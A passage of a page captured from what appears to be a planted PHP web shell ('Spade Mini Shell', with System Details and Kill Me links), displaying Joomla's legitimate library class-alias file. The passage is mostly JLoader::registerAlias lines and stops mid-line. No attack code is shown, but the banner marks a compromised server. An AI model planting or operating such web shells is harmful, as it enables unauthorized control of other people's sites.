Spade
Mini Shell
| Directory:~$ /tmp/ |
| [Home] [System Details] [Kill Me] |
<?php
/**
* @package Joomla.Libraries
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// No direct access.
defined('_JEXEC') or die;
JLoader::registerAlias('JRegistry',
'\\Joomla\\Registry\\Registry', '5.0');
JLoader::registerAlias('JRegistryFormat',
'\\Joomla\\Registry\\AbstractRegistryFormat', '4.0');
JLoader::registerAlias('JRegistryFormatIni',
'\\Joomla\\Registry\\Format\\Ini', '5.0');
JLoader::registerAlias('JRegistryFormatJson',
'\\Joomla\\Registry\\Format\\Json', '5.0');
JLoader::registerAlias('JRegistryFormatPhp',
'\\Joomla\\Registry\\Format\\Php', '5.0');
JLoader::registerAlias('JRegistryFormatXml',
'\\Joomla\\Registry\\Format\\Xml', '5.0');
JLoader::registerAlias('JStringInflector',
'\\Joomla\\String\\Inflector', '5.0');
JLoader::registerAlias('JStringNormalise',
'\\Joomla\\String\\Normalise', '5.0');
JLoader::registerAlias('JData',
'\\Joomla\\Data\\DataObject', '5.0');
JLoader::registerAlias('JDataSet',
'\\Joomla\\Data\\DataSet', '5.0');
JLoader::registerAlias('JDataDumpable',
'\\Joomla\\Data\\DumpableInterface', '5.0');
JLoader::registerAlias('JApplicationAdministrator',
'\\Joomla\\CMS\\Application\\AdministratorApplication',
'5.0');
JLoader::registerAlias('JApplicationHelper',
'\\Joomla\\CMS\\Application\\ApplicationHelper',
'5.0');
JLoader::registerAlias('JApplicationBase',
'\\Joomla\\CMS\\Application\\BaseApplication', '5.0');
JLoader::registerAlias('JApplicationCli',
'\\Joomla\\CMS\\Application\\CliApplication', '5.0');
JLoader::registerAlias('JApplicationCms',
'\\Joomla\\CMS\\Application\\CMSApplication', '5.0');
JLoader::registerAlias('JApplicationDaemon',
'\\Joomla\\CMS\\Application\\DaemonApplication',
'5.0');
JLoader::registerAlias('JApplicationSite',
'\\Joomla\\CMS\\Application\\SiteApplication', '5.0');
JLoader::registerAlias('JApplicationWeb',
'\\Joomla\\CMS\\Application\\WebApplication', '5.0');
JLoader::registerAlias('JApplicationWebClient',
'\\Joomla\\Application\\Web\\WebClient', '5.0');
JLoader::registerAlias('JDaemon',
'\\Joomla\\CMS\\Application\\DaemonApplication',
'5.0');
JLoader::registerAlias('JCli',
'\\Joomla\\CMS\\Application\\CliApplication', '5.0');
JLoader::registerAlias('JWeb',
'\\Joomla\\CMS\\Application\\WebApplication', '4.0');
JLoader::registerAlias('JWebClient',
'\\Joomla\\Application\\Web\\WebClient', '4.0');
JLoader::registerAlias('JModelAdmin',
'\\Joomla\\CMS\\MVC\\Model\\AdminModel', '5.0');
JLoader::registerAlias('JModelForm',
'\\Joomla\\CMS\\MVC\\Model\\FormModel', '5.0');
JLoader::registerAlias('JModelItem',
'\\Joomla\\CMS\\MVC\\Model\\ItemModel', '5.0');
JLoader::registerAlias('JModelList',
'\\Joomla\\CMS\\MVC\\Model\\ListModel', '5.0');
JLoader::registerAlias('JModelLegacy',
'\\Joomla\\CMS\\MVC\\Model\\BaseDatabaseModel', '5.0');
JLoader::registerAlias('JViewCategories',
'\\Joomla\\CMS\\MVC\\View\\CategoriesView', '5.0');
JLoader::registerAlias('JViewCategory',
'\\Joomla\\CMS\\MVC\\View\\CategoryView', '5.0');
JLoader::registerAlias('JViewCategoryfeed',
'\\Joomla\\CMS\\MVC\\View\\CategoryFeedView', '5.0');
JLoader::registerAlias('JViewLegacy',
'\\Joomla\\CMS\\MVC\\View\\HtmlView', '5.0');
JLoader::registerAlias('JControllerAdmin',
'\\Joomla\\CMS\\MVC\\Controller\\AdminController',
'5.0');
JLoader::registerAlias('JControllerLegacy',
'\\Joomla\\CMS\\MVC\\Controller\\BaseController',
'5.0');
JLoader::registerAlias('JControllerForm',
'\\Joomla\\CMS\\MVC\\Controller\\FormController',
'5.0');
JLoader::registerAlias('JTableInterface',
'\\Joomla\\CMS\\Table\\TableInterface', '5.0');
JLoader::registerAlias('JTable',
'\\Joomla\\CMS\\Table\\Table', '5.0');
JLoader::registerAlias('JTableNested',
'\\Joomla\\CMS\\Table\\Nested', '5.0');
JLoader::registerAlias('JTableAsset',
'\\Joomla\\CMS\\Table\\Asset', '5.0');
JLoader::registerAlias('JTableExtension',
'\\Joomla\\CMS\\Table\\Extension', '5.0');
JLoader::registerAlias('JTableLanguage',
'\\Joomla\\CMS\\Table\\Language', '5.0');
JLoader::registerAlias('JTableUpdate',
'\\Joomla\\CMS\\Table\\Update', '5.0');
JLoader::registerAlias('JTableUpdatesite',
'\\Joomla\\CMS\\Table\\UpdateSite', '5.0');
JLoader::registerAlias('JTableUser',
'\\Joomla\\CMS\\Table\\User', '5.0');
JLoader::registerAlias('JTableUsergroup',
'\\Joomla\\CMS\\Table\\Usergroup', '5.0');
JLoader::registerAlias('JTableViewlevel',
'\\Joomla\\CMS\\Table\\ViewLevel', '5.0');
JLoader::registerAlias('JTableContenthistory',
'\\Joomla\\CMS\\Table\\ContentHistory', '5.0');
JLoader::registerAlias('JTableContenttype',
'\\Joomla\\CMS\\Table\\ContentType', '5.0');
JLoader::registerAlias('JTableCorecontent',
'\\Joomla\\CMS\\Table\\CoreContent', '5.0');
JLoader::registerAlias('JTableUcm',
'\\Joomla\\CMS\\Table\\Ucm', '5.0');
JLoader::registerAlias('JTableCategory',
'\\Joomla\\CMS\\Table\\Category', '5.0');
JLoader::registerAlias('JTableContent',
'\\Joomla\\CMS\\Table\\Content', '5.0');
JLoader::registerAlias('JTableMenu',
'\\Joomla\\CMS\\Table\\Menu', '5.0');
JLoader::registerAlias('JTableMenuType',
'\\Joomla\\CMS\\Table\\MenuType', '5.0');
JLoader::registerAlias('JTableModule',
'\\Joomla\\CMS\\Table\\Module', '5.0');
JLoader::registerAlias('JTableObserver',
'\\Joomla\\CMS\\Table\\Observer\\AbstractObserver',
'5.0');
JLoader::registerAlias('JTableObserverContenthistory',
'\\Joomla\\CMS\\Table\\Observer\\ContentHistory',
'5.0');
JLoader::registerAlias('JTableObserverTags',
'\\Joomla\\CMS\\Table\\Observer\\Tags', '5.0');
JLoader::registerAlias('JAccess',
'\\Joomla\\CMS\\Access\\Access', '5.0');
JLoader::registerAlias('JAccessRule',
'\\Joomla\\CMS\\Access\\Rule', '5.0');
JLoader::registerAlias('JAccessRules',
'\\Joomla\\CMS\\Access\\Rules', '5.0');
JLoader::registerAlias('JAccessWrapperAccess',
'\\Joomla\\CMS\\Access\\Wrapper\\Access', '4.0');
JLoader::registerAlias('JAccessExceptionNotallowed',
'\\Joomla\\CMS\\Access\\Exception\\NotAllowed', '5.0');
JLoader::registerAlias('JRule',
'\\Joomla\\CMS\\Access\\Rule', '5.0');
JLoader::registerAlias('JRules',
'\\Joomla\\CMS\\Access\\Rules', '5.0');
JLoader::registerAlias('JHelp',
'\\Joomla\\CMS\\Help\\Help', '5.0');
JLoader::registerAlias('JCaptcha',
'\\Joomla\\CMS\\Captcha\\Captcha', '5.0');
JLoader::registerAlias('JLanguageAssociations',
'\\Joomla\\CMS\\Language\\Associations', '5.0');
JLoader::registerAlias('JLanguage',
'\\Joomla\\CMS\\Language\\Language', '5.0');
JLoader::registerAlias('JLanguageHelper',
'\\Joomla\\CMS\\Language\\LanguageHelper', '5.0');
JLoader::registerAlias('JLanguageStemmer',
'\\Joomla\\CMS\\Language\\LanguageStemmer', '4.0');
JLoader::registerAlias('JLanguageMultilang',
'\\Joomla\\CMS\\Language\\Multilanguage', '5.0');
JLoader::registerAlias('JText',
'\\Joomla\\CMS\\Language\\Text', '5.0');
JLoader::registerAlias('JLanguageTransliterate',
'\\Joomla\\CMS\\Language\\Transliterate', '5.0');
JLoader::registerAlias('JLanguageStemmerPorteren',
'\\Joomla\\CMS\\Language\\Stemmer\\Porteren', '4.0');
JLoader::registerAlias('JLanguageWrapperText',
'\\Joomla\\CMS\\Language\\Wrapper\\JTextWrapper',
'4.0');
JLoader::registerAlias('JLanguageWrapperHelper',
'\\Joomla\\CMS\\Language\\Wrapper\\LanguageHelperWrapper',
'4.0');
JLoader::registerAlias('JLanguageWrapperTransliterate',
'\\Joomla\\CMS\\Language\\Wrapper\\TransliterateWrapper',
'4.0');
JLoader::registerAlias('JComponentHelper',
'\\Joomla\\CMS\\Component\\ComponentHelper', '5.0');
JLoader::registerAlias('JComponentRecord',
'\\Joomla\\CMS\\Component\\ComponentRecord', '5.0');
JLoader::registerAlias('JComponentExceptionMissing',
'\\Joomla\\CMS\\Component\\Exception\\MissingComponentException',
'5.0');
JLoader::registerAlias('JComponentRouterBase',
'\\Joomla\\CMS\\Component\\Router\\RouterBase', '5.0');
JLoader::registerAlias('JComponentRouterInterface',
'\\Joomla\\CMS\\Component\\Router\\RouterInterface',
'5.0');
JLoader::registerAlias('JComponentRouterLegacy',
'\\Joomla\\CMS\\Component\\Router\\RouterLegacy',
'5.0');
JLoader::registerAlias('JComponentRouterView',
'\\Joomla\\CMS\\Component\\Router\\RouterView', '5.0');
JLoader::registerAlias('JComponentRouterViewconfiguration',
'\\Joomla\\CMS\\Component\\Router\\RouterViewConfiguration',
'5.0');
JLoader::registerAlias('JComponentRouterRulesMenu',
'\\Joomla\\CMS\\Component\\Router\\Rules\\MenuRules',
'5.0');
JLoader::registerAlias('JComponentRouterRulesNomenu',
'\\Joomla\\CMS\\Component\\Router\\Rules\\NomenuRules',
'5.0');
JLoader::registerAlias('JComponentRouterRulesInterface',
'\\Joomla\\CMS\\Component\\Router\\Rules\\RulesInterface',
'5.0');
JLoader::registerAlias('JComponentRouterRulesStandard',
'\\Joomla\\CMS\\Component\\Router\\Rules\\StandardRules',
'5.0');
JLoader::registerAlias('JEditor',
'\\Joomla\\CMS\\Editor\\Editor', '5.0');
JLoader::registerAlias('JErrorPage',
'\\Joomla\\CMS\\Exception\\ExceptionHandler', '5.0');
JLoader::registerAlias('JAuthenticationHelper',
'\\Joomla\\CMS\\Helper\\AuthenticationHelper', '5.0');
JLoader::registerAlias('JHelper',
'\\Joomla\\CMS\\Helper\\CMSHelper', '5.0');
JLoader::registerAlias('JHelperContent',
'\\Joomla\\CMS\\Helper\\ContentHelper', '5.0');
JLoader::registerAlias('JHelperContenthistory',
'\\Joomla\\CMS\\Helper\\ContentHistoryHelper', '5.0');
JLoader::registerAlias('JLibraryHelper',
'\\Joomla\\CMS\\Helper\\LibraryHelper', '5.0');
JLoader::registerAlias('JHelperMedia',
'\\Joomla\\CMS\\Helper\\MediaHelper', '5.0');
JLoader::registerAlias('JModuleHelper',
'\\Joomla\\CMS\\Helper\\ModuleHelper', '5.0');
JLoader::registerAlias('JHelperRoute',
'\\Joomla\\CMS\\Helper\\RouteHelper', '5.0');
JLoader::registerAlias('JSearchHelper',
'\\Joomla\\CMS\\Helper\\SearchHelper', '5.0');
JLoader::registerAlias('JHelperTags',
'\\Joomla\\CMS\\Helper\\TagsHelper', '5.0');
JLoader::registerAlias('JHelperUsergroups',
'\\Joomla\\CMS\\Helper\\UserGroupsHelper', '5.0');
JLoader::registerAlias('JLayoutBase',
'\\Joomla\\CMS\\Layout\\BaseLayout', '5.0');
JLoader::registerAlias('JLayoutFile',
'\\Joomla\\CMS\\Layout\\FileLayout', '5.0');
JLoader::registerAlias('JLayoutHelper',
'\\Joomla\\CMS\\Layout\\LayoutHelper', '5.0');
JLoader::registerAlias('JLayout',
'\\Joomla\\CMS\\Layout\\LayoutInterface', '5.0');
JLoader::registerAlias('JResponseJson',
'\\Joomla\\CMS\\Response\\JsonResponse', '5.0');
JLoader::registerAlias('JPlugin',
'\\Joomla\\CMS\\Plugin\\CMSPlugin', '5.0');
JLoader::registerAlias('JPluginHelper',
'\\Joomla\\CMS\\Plugin\\PluginHelper', '5.0');
JLoader::registerAlias('JMenu',
'\\Joomla\\CMS\\Menu\\AbstractMenu', '5.0');
JLoader::registerAlias('JMenuAdministrator',
'\\Joomla\\CMS\\Menu\\AdministratorMenu', '5.0');
JLoader::registerAlias('JMenuItem',
'\\Joomla\\CMS\\Menu\\MenuItem', '5.0');
JLoader::registerAlias('JMenuSite',
'\\Joomla\\CMS\\Menu\\SiteMenu', '5.0');
JLoader::registerAlias('JPagination',
'\\Joomla\\CMS\\Pagination\\Pagination', '5.0');
JLoader::registerAlias('JPaginationObject',
'\\Joomla\\CMS\\Pagination\\PaginationObject', '5.0');
JLoader::registerAlias('JPathway',
'\\Joomla\\CMS\\Pathway\\Pathway', '5.0');
JLoader::registerAlias('JPathwaySite',
'\\Joomla\\CMS\\Pathway\\SitePathway', '5.0');
JLoader::registerAlias('JSchemaChangeitem',
'\\Joomla\\CMS\\Schema\\ChangeItem', '5.0');
JLoader::registerAlias('JSchemaChangeset',
'\\Joomla\\CMS\\Schema\\ChangeSet', '5.0');
JLoader::registerAlias('JSchemaChangeitemMysql',
'\\Joomla\\CMS\\Schema\\ChangeItem\\MysqlChangeItem',
'5.0');
JLoader::registerAlias('JSchemaChangeitemPostgresql',
'\\Joomla\\CMS\\Schema\\ChangeItem\\PostgresqlChangeItem',
'5.0');
JLoader::registerAlias('JSchemaChangeitemSqlsrv',
'\\Joomla\\CMS\\Schema\\ChangeItem\\SqlsrvChangeItem',
'5.0');
JLoader::registerAlias('JUcm',
'\\Joomla\\CMS\\UCM\\UCM', '5.0');
JLoader::registerAlias('JUcmBase',
'\\Joomla\\CMS\\UCM\\UCMBase', '5.0');
JLoader::registerAlias('JUcmContent',
'\\Joomla\\CMS\\UCM\\UCMContent', '5.0');
JLoader::registerAlias('JUcmType',
'\\Joomla\\CMS\\UCM\\UCMType', '5.0');
JLoader::registerAlias('JToolbar',
'\\Joomla\\CMS\\Toolbar\\Toolbar', '5.0');
JLoader::registerAlias('JToolbarButton',
'\\Joomla\\CMS\\Toolbar\\ToolbarButton', '5.0');
JLoader::registerAlias('JToolbarButtonConfirm',
'\\Joomla\\CMS\\Toolbar\\Button\\ConfirmButton',
'5.0');
JLoader::registerAlias('JToolbarButtonCustom',
'\\Joomla\\CMS\\Toolbar\\Button\\CustomButton', '5.0');
JLoader::registerAlias('JToolbarButtonHelp',
'\\Joomla\\CMS\\Toolbar\\Button\\HelpButton', '5.0');
JLoader::registerAlias('JToolbarButtonLink',
'\\Joomla\\CMS\\Toolbar\\Button\\LinkButton', '5.0');
JLoader::registerAlias('JToolbarButtonPopup',
'\\Joomla\\CMS\\Toolbar\\Button\\PopupButton', '5.0');
JLoader::registerAlias('JToolbarButtonSeparator',
'\\Joomla\\CMS\\Toolbar\\Button\\SeparatorButton',
'5.0');
JLoader::registerAlias('JToolbarButtonSlider',
'\\Joomla\\CMS\\Toolbar\\Button\\SliderButton', '5.0');
JLoader::registerAlias('JToolbarButtonStandard',
'\\Joomla\\CMS\\Toolbar\\Button\\StandardButton',
'5.0');
JLoader::registerAlias('JToolbarHelper',
'\\Joomla\\CMS\\Toolbar\\ToolbarHelper', '5.0');
JLoader::registerAlias('JButton',
'\\Joomla\\CMS\\Toolbar\\ToolbarButton', '5.0');
JLoader::registerAlias('JVersion',
'\\Joomla\\CMS\\Version', '5.0');
JLoader::registerAlias('JAuthentication',
'\\Joomla\\CMS\\Authentication\\Authentication',
'5.0');
JLoader::registerAlias('JAuthenticationResponse',
'\\Joomla\\CMS\\Authentication\\AuthenticationResponse',
'5.0');
JLoader::registerAlias('JBrowser',
'\\Joomla\\CMS\\Environment\\Browser', '5.0');
JLoader::registerAlias('JAssociationExtensionInterface',
'\\Joomla\\CMS\\Association\\AssociationExtensionInterface',
'5.0');
JLoader::registerAlias('JAssociationExtensionHelper',
'\\Joomla\\CMS\\Association\\AssociationExtensionHelper',
'5.0');
JLoader::registerAlias('JDocument',
'\\Joomla\\CMS\\Document\\Document', '5.0');
JLoader::registerAlias('JDocumentError',
'\\Joomla\\CMS\\Document\\ErrorDocument', '5.0');
JLoader::registerAlias('JDocumentFeed',
'\\Joomla\\CMS\\Document\\FeedDocument', '5.0');
JLoader::registerAlias('JDocumentHtml',
'\\Joomla\\CMS\\Document\\HtmlDocument', '5.0');
JLoader::registerAlias('JDocumentImage',
'\\Joomla\\CMS\\Document\\ImageDocument', '5.0');
JLoader::registerAlias('JDocumentJson',
'\\Joomla\\CMS\\Document\\JsonDocument', '5.0');
JLoader::registerAlias('JDocumentOpensearch',
'\\Joomla\\CMS\\Document\\OpensearchDocument', '5.0');
JLoader::registerAlias('JDocumentRaw',
'\\Joomla\\CMS\\Document\\RawDocument', '5.0');
JLoader::registerAlias('JDocumentRenderer',
'\\Joomla\\CMS\\Document\\DocumentRenderer', '5.0');
JLoader::registerAlias('JDocumentXml',
'\\Joomla\\CMS\\Document\\XmlDocument', '5.0');
JLoader::registerAlias('JDocumentRendererFeedAtom',
'\\Joomla\\CMS\\Document\\Renderer\\Feed\\AtomRenderer',
'5.0');
JLoader::registerAlias('JDocumentRendererFeedRss',
'\\Joomla\\CMS\\Document\\Renderer\\Feed\\RssRenderer',
'5.0');
JLoader::registerAlias('JDocumentRendererHtmlComponent',
'\\Joomla\\CMS\\Document\\Renderer\\Html\\ComponentRenderer',
'5.0');
JLoader::registerAlias('JDocumentRendererHtmlHead',
'\\Joomla\\CMS\\Document\\Renderer\\Html\\HeadRenderer',
'5.0');
JLoader::registerAlias('JDocumentRendererHtmlMessage',
'\\Joomla\\CMS\\Document\\Renderer\\Html\\MessageRenderer',
'5.0');
JLoader::registerAlias('JDocumentRendererHtmlModule',
'\\Joomla\\CMS\\Document\\Renderer\\Html\\ModuleRenderer',
'5.0');
JLoader::registerAlias('JDocumentRendererHtmlModules',
'\\Joomla\\CMS\\Document\\Renderer\\Html\\ModulesRenderer',
'5.0');
JLoader::registerAlias('JDocumentRendererAtom',
'\\Joomla\\CMS\\Document\\Renderer\\Feed\\AtomRenderer',
'4.0');
JLoader::registerAlias('JDocumentRendererRSS',
'\\Joomla\\CMS\\Document\\Renderer\\Feed\\RssRenderer',
'4.0');
JLoader::registerAlias('JDocumentRendererComponent',
'\\Joomla\\CMS\\Document\\Renderer\\Html\\ComponentRenderer',
'4.0');
JLoader::registerAlias('JDocumentRendererHead',
'\\Joomla\\CMS\\Document\\Renderer\\Html\\HeadRenderer',
'4.0');
JLoader::registerAlias('JDocumentRendererMessage',
'\\Joomla\\CMS\\Document\\Renderer\\Html\\MessageRenderer',
'4.0');
JLoader::registerAlias('JDocumentRendererModule',
'\\Joomla\\CMS\\Document\\Renderer\\Html\\ModuleRenderer',
'4.0');
JLoader::registerAlias('JDocumentRendererModules',
'\\Joomla\\CMS\\Document\\Renderer\\Html\\ModulesRenderer',
'4.0');
JLoader::registerAlias('JFeedEnclosure',
'\\Joomla\\CMS\\Document\\Feed\\FeedEnclosure', '5.0');
JLoader::registerAlias('JFeedImage',
'\\Joomla\\CMS\\Document\\Feed\\FeedImage', '5.0');
JLoader::registerAlias('JFeedItem',
'\\Joomla\\CMS\\Document\\Feed\\FeedItem', '5.0');
JLoader::registerAlias('JOpenSearchImage',
'\\Joomla\\CMS\\Document\\Opensearch\\OpensearchImage',
'5.0');
JLoader::registerAlias('JOpenSearchUrl',
'\\Joomla\\CMS\\Document\\Opensearch\\OpensearchUrl',
'5.0');
JLoader::registerAlias('JFilterInput',
'\\Joomla\\CMS\\Filter\\InputFilter', '5.0');
JLoader::registerAlias('JFilterOutput',
'\\Joomla\\CMS\\Filter\\OutputFilter', '5.0');
JLoader::registerAlias('JFilterWrapperOutput',
'\\Joomla\\CMS\\Filter\\Wrapper\\OutputFilterWrapper',
'4.0');
JLoader::registerAlias('JHttp',
'\\Joomla\\CMS\\Http\\Http', '5.0');
JLoader::registerAlias('JHttpFactory',
'\\Joomla\\CMS\\Http\\HttpFactory', '5.0');
JLoader::registerAlias('JHttpResponse',
'\\Joomla\\CMS\\Http\\Response', '5.0');
JLoader::registerAlias('JHttpTransport',
'\\Joomla\\CMS\\Http\\TransportInterface', '5.0');
JLoader::registerAlias('JHttpTransportCurl',
'\\Joomla\\CMS\\Http\\Transport\\CurlTransport',
'5.0');
JLoader::registerAlias('JHttpTransportSocket',
'\\Joomla\\CMS\\Http\\Transport\\SocketTransport',
'5.0');
JLoader::registerAlias('JHttpTransportStream',
'\\Joomla\\CMS\\Http\\Transport\\StreamTransport',
'5.0');
JLoader::registerAlias('JHttpWrapperFactory',
'\\Joomla\\CMS\\Http\\Wrapper\\FactoryWrapper', '4.0');
JLoader::registerAlias('JInstaller',
'\\Joomla\\CMS\\Installer\\Installer', '5.0');
JLoader::registerAlias('JInstallerAdapter',
'\\Joomla\\CMS\\Installer\\InstallerAdapter', '5.0');
JLoader::registerAlias('JInstallerExtension',
'\\Joomla\\CMS\\Installer\\InstallerExtension', '5.0');
JLoader::registerAlias('JExtension',
'\\Joomla\\CMS\\Installer\\InstallerExtension', '5.0');
JLoader::registerAlias('JInstallerHelper',
'\\Joomla\\CMS\\Installer\\InstallerHelper', '5.0');
JLoader::registerAlias('JInstallerScript',
'\\Joomla\\CMS\\Installer\\InstallerScript', '5.0');
JLoader::registerAlias('JInstallerManifest',
'\\Joomla\\CMS\\Installer\\Manifest', '5.0');
JLoader::registerAlias('JInstallerAdapterComponent',
'\\Joomla\\CMS\\Installer\\Adapter\\ComponentAdapter',
'5.0');
JLoader::registerAlias('JInstallerComponent',
'\\Joomla\\CMS\\Installer\\Adapter\\ComponentAdapter',
'5.0');
JLoader::registerAlias('JInstallerAdapterFile',
'\\Joomla\\CMS\\Installer\\Adapter\\FileAdapter',
'5.0');
JLoader::registerAlias('JInstallerFile',
'\\Joomla\\CMS\\Installer\\Adapter\\FileAdapter',
'5.0');
JLoader::registerAlias('JInstallerAdapterLanguage',
'\\Joomla\\CMS\\Installer\\Adapter\\LanguageAdapter',
'5.0');
JLoader::registerAlias('JInstallerLanguage',
'\\Joomla\\CMS\\Installer\\Adapter\\LanguageAdapter',
'5.0');
JLoader::registerAlias('JInstallerAdapterLibrary',
'\\Joomla\\CMS\\Installer\\Adapter\\LibraryAdapter',
'5.0');
JLoader::registerAlias('JInstallerLibrary',
'\\Joomla\\CMS\\Installer\\Adapter\\LibraryAdapter',
'5.0');
JLoader::registerAlias('JInstallerAdapterModule',
'\\Joomla\\CMS\\Installer\\Adapter\\ModuleAdapter',
'5.0');
JLoader::registerAlias('JInstallerModule',
'\\Joomla\\CMS\\Installer\\Adapter\\ModuleAdapter',
'5.0');
JLoader::registerAlias('JInstallerAdapterPackage',
'\\Joomla\\CMS\\Installer\\Adapter\\PackageAdapter',
'5.0');
JLoader::registerAlias('JInstallerPackage',
'\\Joomla\\CMS\\Installer\\Adapter\\PackageAdapter',
'5.0');
JLoader::registerAlias('JInstallerAdapterPlugin',
'\\Joomla\\CMS\\Installer\\Adapter\\PluginAdapter',
'5.0');
JLoader::registerAlias('JInstallerPlugin',
'\\Joomla\\CMS\\Installer\\Adapter\\PluginAdapter',
'5.0');
JLoader::registerAlias('JInstallerAdapterTemplate',
'\\Joomla\\CMS\\Installer\\Adapter\\TemplateAdapter',
'5.0');
JLoader::registerAlias('JInstallerTemplate',
'\\Joomla\\CMS\\Installer\\Adapter\\TemplateAdapter',
'5.0');
JLoader::registerAlias('JInstallerManifestLibrary',
'\\Joomla\\CMS\\Installer\\Manifest\\LibraryManifest',
'5.0');
JLoader::registerAlias('JInstallerManifestPackage',
'\\Joomla\\CMS\\Installer\\Manifest\\PackageManifest',
'5.0');
JLoader::registerAlias('JRouterAdministrator',
'\\Joomla\\CMS\\Router\\AdministratorRouter', '5.0');
JLoader::registerAlias('JRoute',
'\\Joomla\\CMS\\Router\\Route', '5.0');
JLoader::registerAlias('JRouter',
'\\Joomla\\CMS\\Router\\Router', '5.0');
JLoader::registerAlias('JRouterSite',
'\\Joomla\\CMS\\Router\\SiteRouter', '5.0');
JLoader::registerAlias('JCategories',
'\\Joomla\\CMS\\Categories\\Categories', '5.0');
JLoader::registerAlias('JCategoryNode',
'\\Joomla\\CMS\\Categories\\CategoryNode', '5.0');
JLoader::registerAlias('JDate',
'\\Joomla\\CMS\\Date\\Date', '5.0');
JLoader::registerAlias('JLog',
'\\Joomla\\CMS\\Log\\Log', '5.0');
JLoader::registerAlias('JLogEntry',
'\\Joomla\\CMS\\Log\\LogEntry', '5.0');
JLoader::registerAlias('JLogLogger',
'\\Joomla\\CMS\\Log\\Logger', '5.0');
JLoader::registerAlias('JLogger',
'\\Joomla\\CMS\\Log\\Logger', '5.0');
JLoader::registerAlias('JLogLoggerCallback',
'\\Joomla\\CMS\\Log\\Logger\\CallbackLogger', '5.0');
JLoader::registerAlias('JLogLoggerDatabase',
'\\Joomla\\CMS\\Log\\Logger\\DatabaseLogger', '5.0');
JLoader::registerAlias('JLogLoggerEcho',
'\\Joomla\\CMS\\Log\\Logger\\EchoLogger', '5.0');
JLoader::registerAlias('JLogLoggerFormattedtext',
'\\Joomla\\CMS\\Log\\Logger\\FormattedtextLogger',
'5.0');
JLoader::registerAlias('JLogLoggerMessagequeue',
'\\Joomla\\CMS\\Log\\Logger\\MessagequeueLogger',
'5.0');
JLoader::registerAlias('JLogLoggerSyslog',
'\\Joomla\\CMS\\Log\\Logger\\SyslogLogger', '5.0');
JLoader::registerAlias('JLogLoggerW3c',
'\\Joomla\\CMS\\Log\\Logger\\W3cLogger', '5.0');
JLoader::registerAlias('JProfiler',
'\\Joomla\\CMS\\Profiler\\Profiler', '5.0');
JLoader::registerAlias('JUri',
'\\Joomla\\CMS\\Uri\\Uri', '5.0');
JLoader::registerAlias('JCache',
'\\Joomla\\CMS\\Cache\\Cache', '5.0');
JLoader::registerAlias('JCacheController',
'\\Joomla\\CMS\\Cache\\CacheController', '5.0');
JLoader::registerAlias('JCacheStorage',
'\\Joomla\\CMS\\Cache\\CacheStorage', '5.0');
JLoader::registerAlias('JCacheControllerCallback',
'\\Joomla\\CMS\\Cache\\Controller\\CallbackController',
'5.0');
JLoader::registerAlias('JCacheControllerOutput',
'\\Joomla\\CMS\\Cache\\Controller\\OutputController',
'5.0');
JLoader::registerAlias('JCacheControllerPage',
'\\Joomla\\CMS\\Cache\\Controller\\PageController',
'5.0');
JLoader::registerAlias('JCacheControllerView',
'\\Joomla\\CMS\\Cache\\Controller\\ViewController',
'5.0');
JLoader::registerAlias('JCacheStorageApc',
'\\Joomla\\CMS\\Cache\\Storage\\ApcStorage', '4.0');
JLoader::registerAlias('JCacheStorageApcu',
'\\Joomla\\CMS\\Cache\\Storage\\ApcuStorage', '5.0');
JLoader::registerAlias('JCacheStorageHelper',
'\\Joomla\\CMS\\Cache\\Storage\\CacheStorageHelper',
'5.0');
JLoader::registerAlias('JCacheStorageCachelite',
'\\Joomla\\CMS\\Cache\\Storage\\CacheliteStorage',
'4.0');
JLoader::registerAlias('JCacheStorageFile',
'\\Joomla\\CMS\\Cache\\Storage\\FileStorage', '5.0');
JLoader::registerAlias('JCacheStorageMemcached',
'\\Joomla\\CMS\\Cache\\Storage\\MemcachedStorage',
'5.0');
JLoader::registerAlias('JCacheStorageMemcache',
'\\Joomla\\CMS\\Cache\\Storage\\MemcacheStorage',
'4.0');
JLoader::registerAlias('JCacheStorageRedis',
'\\Joomla\\CMS\\Cache\\Storage\\RedisStorage', '5.0');
JLoader::registerAlias('JCacheStorageWincache',
'\\Joomla\\CMS\\Cache\\Storage\\WincacheStorage',
'5.0');
JLoader::registerAlias('JCacheStorageXcache',
'\\Joomla\\CMS\\Cache\\Storage\\XcacheStorage', '4.0');
JLoader::registerAlias('JCacheException',
'\\Joomla\\CMS\\Cache\\Exception\\CacheExceptionInterface',
'5.0');
JLoader::registerAlias('JCacheExceptionConnecting',
'\\Joomla\\CMS\\Cache\\Exception\\CacheConnectingException',
'5.0');
JLoader::registerAlias('JCacheExceptionUnsupported',
'\\Joomla\\CMS\\Cache\\Exception\\UnsupportedCacheException',
'5.0');
JLoader::registerAlias('JSession',
'\\Joomla\\CMS\\Session\\Session', '5.0');
JLoader::registerAlias('JSessionExceptionUnsupported',
'\\Joomla\\CMS\\Session\\Exception\\UnsupportedStorageException',
'5.0');
JLoader::registerAlias('JUser',
'\\Joomla\\CMS\\User\\User', '5.0');
JLoader::registerAlias('JUserHelper',
'\\Joomla\\CMS\\User\\UserHelper', '5.0');
JLoader::registerAlias('JUserWrapperHelper',
'\\Joomla\\CMS\\User\\UserWrapper', '4.0');
JLoader::registerAlias('JForm',
'\\Joomla\\CMS\\Form\\Form', '5.0');
JLoader::registerAlias('JFormField',
'\\Joomla\\CMS\\Form\\FormField', '5.0');
JLoader::registerAlias('JFormHelper',
'\\Joomla\\CMS\\Form\\FormHelper', '5.0');
JLoader::registerAlias('JFormRule',
'\\Joomla\\CMS\\Form\\FormRule', '5.0');
JLoader::registerAlias('JFormWrapper',
'\\Joomla\\CMS\\Form\\FormWrapper', '4.0');
JLoader::registerAlias('JFormFieldAuthor',
'\\Joomla\\CMS\\Form\\Field\\AuthorField', '5.0');
JLoader::registerAlias('JFormFieldCaptcha',
'\\Joomla\\CMS\\Form\\Field\\CaptchaField', '5.0');
JLoader::registerAlias('JFormFieldChromeStyle',
'\\Joomla\\CMS\\Form\\Field\\ChromestyleField', '5.0');
JLoader::registerAlias('JFormFieldContenthistory',
'\\Joomla\\CMS\\Form\\Field\\ContenthistoryField',
'5.0');
JLoader::registerAlias('JFormFieldContentlanguage',
'\\Joomla\\CMS\\Form\\Field\\ContentlanguageField',
'5.0');
JLoader::registerAlias('JFormFieldContenttype',
'\\Joomla\\CMS\\Form\\Field\\ContenttypeField', '5.0');
JLoader::registerAlias('JFormFieldEditor',
'\\Joomla\\CMS\\Form\\Field\\EditorField', '5.0');
JLoader::registerAlias('JFormFieldFrontend_Language',
